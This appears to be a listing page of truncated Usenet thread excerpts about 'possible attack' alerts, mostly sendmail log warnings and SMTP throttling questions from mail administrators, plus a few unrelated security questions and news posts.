I am getting a bunch of log entries like the following: NOQUEUE: POSSIBLE ATTACK from chello06217811 0197.9.12.vie.surfer.at: newline in string "gcrbmqgjqg\r " from=<Jenn_Willis025@yahoo.com>, size=7027, class=0, nrcpts=1, msgid=<RIFVEDDIMSARNOEJQQVKRC@yahoo.com>, proto=SMTP, daemon=MTA, relay=gcrbmqgjqg@chello062178110197.9.12.vie.surfer.at [62.178.110.197] What is sendmail trying to tell me? Is this some exploit that sendmail detected? "CharlesH" <hoch@exemplary.invalid> wrote in message news:bvmh4r0242k@enews2.newsguy.com... > I am getting a...

possible SMTP attack: command=NOOP failure
Since 20.07.2004 I have a problem on my mail-server. Since this date I got about 20 times the error message in /var/log/mail connected to an internal Win-client. Before I never got this message. (sendmail out of SuSE V8.0 with sendmail 8.12.9). This errors occure on three machines. On the client side I use Win2K with Outlook XP 2003. One week before I installed Symantec NAV Corporate Edition and a network print spooler (pricom 6200U). When this error occures all mails a stopped on outlook to be send to the mail-server. As I understand, the NOOP-command is only used for checking the SMTP-lin...

Possible DoS attack on an IP/domain name
All right this is an odd issue. One customer is having an issue with being black out / not being seen. I have looked over the DNS and both Primary and secondary are working properly. System: Main page is wiped off the map with an error saying this page contains no data and then is back up. further E-mail might be missing. This could be a spoof. what should I be looking for? -- Member - Liberal International This is doctor@nl2k.ab.ca Ici doctor@nl2k.ab.ca God Queen and country! Beware Anti-Christ rising! Alberta on 22 Nov 2004 Boot out Ralph Klein - Vote Liberal!! ...

NOQUEUE: POSSIBLE ATTACK from xxxxx: newline in string
This turned up in my mail log last night recently (logcheck). Is it anything to worry about? I'm running woody with sendmail (latest stable version). I've looked on Goog but haven't got much information about it. Active System Attack Alerts =-=-=-=-=-=-=-=-=-=-=-=-=-= Oct 17 23:59:15 debian sm-mta[20130]: NOQUEUE: POSSIBLE ATTACK from pD95F8F0A.dip.t-dialin.net: newline in string "qkvvkohvow\r " Possible Security Violations =-=-=-=-=-=-=-=-=-= Oct 17 23:59:15 debian sm-mta[20130]: NOQUEUE: POSSIBLE ATTACK from pD95F8F0A.dip.t-dialin.net: newline in string "qkvv...

avoid error about POSSIBLE ATTACk when detecting newline in string
Hi! My sendmail generates this errors quite often: Dec 17 20:06:23 orbax sendmail[19581]: [ID 801593 mail.notice] iBHJ6J819581: POSSIBLE ATTACK from thirtyfour.202.omne.uk.net: newline in string "jacpzlqxnd^M " Sendmail version 8.11.7p1+Sun Is there anything I can put in sendmail.mc to stop it giving those alarms? Thanks Ole ...

Possible attack on Redhat Enterprise 4.0 Webserver
I'm not sure if my server is being subjected to an external attack, or if I just have a very high traffic load. I'm hoping you guys can give me some advice on finding out for sure. I'm running Enterprise 4.0, and primarily use Webhost Manager / cPanel for maintenance. The primary domain on this server runs a message board, which is the big draw. Up until around July 2007, the site had around 7,000 unique visitors a day, and around 50,000 pageviews. Starting in July, though, the pageviews started to skyrocket up to almost 1,000,000 pageviews a day, even though the number of unique...

Exempt a host from "possible SMTP attack"
Hello, is it possible to exempt one particular host from the throttling that comes with "possible SMTP attack" message? It would be also an option to fully trust the behaviour of that host, well, except the recipient checks etc.pp. Bye, Steffen ska wrote: > is it possible to exempt one particular host from the throttling that > comes with "possible SMTP attack" message? Only by changing the souce code. Why does the client trigger that code? -- Note: please read the netiquette before posting. I will almost never reply to top-postings which include a full copy...

Kerberos Newbie Application Man in the Middle Attack Possible?
I'm pretty new to Keberos but I can't seem to figure out how a man in the m= iddle attack isn't possible in the following situation. In fact, the attac= k is trivial. Forgive me if this question has been asked a number of times= , but after hours of searching I can't find anything. Simple deployment: Client Browser -> Linux App(192.168.2.10) -> MIT -> Router -> Windows DC (1= 92.168.1.10) The linux host has been configured to use Kerberos to authenticate against = the Windows DC (requirements: accurate time, Windows host FQDN, and REALM).= This at...

Exempt one IP from possible SMTP attack: command=VRFY
Hello, I want to do some sanity checking of email addresses. The current algorithm is like so: 1) check mail address to contain at least one character and no control character. 2) pass the string to localhost's MTA and call VRFY; accept on 250 and 251 replies; reject for all but 252 replies 3) for 252 replies, check the MX/A records of the host part (no connection to the host is attempted, aka SMTP-ahead) I maintain a persistent connection to the mail server for step 2. I prefer using VRFY over RCPT TO, because this keeps the logs quite and you can easily differ between local and remot...

possible SMTP attack: command=HELO/EHLO, count=3
The malware that sends multiple HELOs is spreading. We got hit 55,000 times one day last week, but 70,000 times yesterday (Monday). Sendmail's approach of slowing down after 3 helos no longer works, since an attacker with a network of more than 25,000 bots has plenty of resources to spare. I recompiled sendmail with MAXHELOCOMMANDS set to 10 instead of 3, and our system load is now 50% lower. This can be done in a devtools/Site file with: APPENDDEF(`confENVDEF', `-DMAXHELOCOMMANDS=10') Joseph Brennan Columbia University Information Technology Joe Brennan wrote: > The ma...

[News] Apple Possibly Breaks the Law in Attack on Free Software
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 EFF Blasts Apple For Fraudulent DMCA Takedown Of Wiki Page ,----[ Quote ] | The EFF has stepped up to walk through the many, many reasons why there's no | DMCA violation on the site, and Apple's takedown notice appears to be | fraudulent. Yes, the anti-circumvention provisions of the DMCA do say it's | illegal to offer a technology, product, service, device or device to get | around DRM, but an open discussion on a wiki is not any of those things. `---- http://techdirt.com/articles/20081125/2330182955.shtml The Electronic Fr...

[News] New Wave of Attacks on ISO, Microsoft and OOXML Possible
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 No Further Appeals on OOXML? What About 11.4? ,----[ Quote ] | I'd certainly love to hear about OOXML being applied in practice. So, even | ignoring the creative possibilities of periodic review, defined so vaguely | one could, I think, ask for one at any time, unless I've misunderstood what | ISO has on its website, which is always possible, I see another possible step | in the appeals process. `---- http://www.groklaw.net/article.php?story=20080818210448740 HypocrISO and beyond ,----[ Quote ] | Standards war is fun and Hypocr...

[News] Details About Possible German Censorship and Attack on Corruption-exposing Site
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Germany not a hard-line censor after all ,----[ Quote ] | Beasts Associated were suitably unimpressed by this action and issued a | statement (pdf) saying: "As a result of Mr. Reppe behaving in a manner that | contravened the terms of the contract, notice of termination of his contract | was issued as long ago as the start of December 2008, with the contract due | to end on 30 March 2009, once the period of notice expired. | | "No objection was submitted in respect of the termination, and no legal | action is pending against t...

is there possible to attack host os from guest os running on the xen or vmare?
is there possible to attack host os from guest os running on the xen or vmare? For exp , the attack gain the full control of the guest os , does he/ she have the possibility to exploit the Host OS? I remember there found a way can do so ... xi4oyu wrote: > is there possible to attack host os from guest os running on the xen > or vmare? Anything is possible (anything). > > For exp , the attack gain the full control of the guest os , does he/ > she have the possibility to exploit the Host OS? It is possible... the trick to to make sure that you keep yoursel...

NOQUEUE: POSSIBLE ATTACK from remotehost: newline in string "some_random_string\r "
I've been researching this message that shows up in my system logs regardless of loglevel (haven't set it to 0, but why would I?). It's reported hourly during logcheck when my system logs are scanned for problems and I've tweaked logcheck to its limits to remove this message, and it doesn't show up in the Security section of the report, but it does appear in the Attack section, which forces the mail server to report an attack hourly. This means 24 messages a day for the rest of my life until I can get this stupid sendmail message to stop showing up in my system logs. I&#...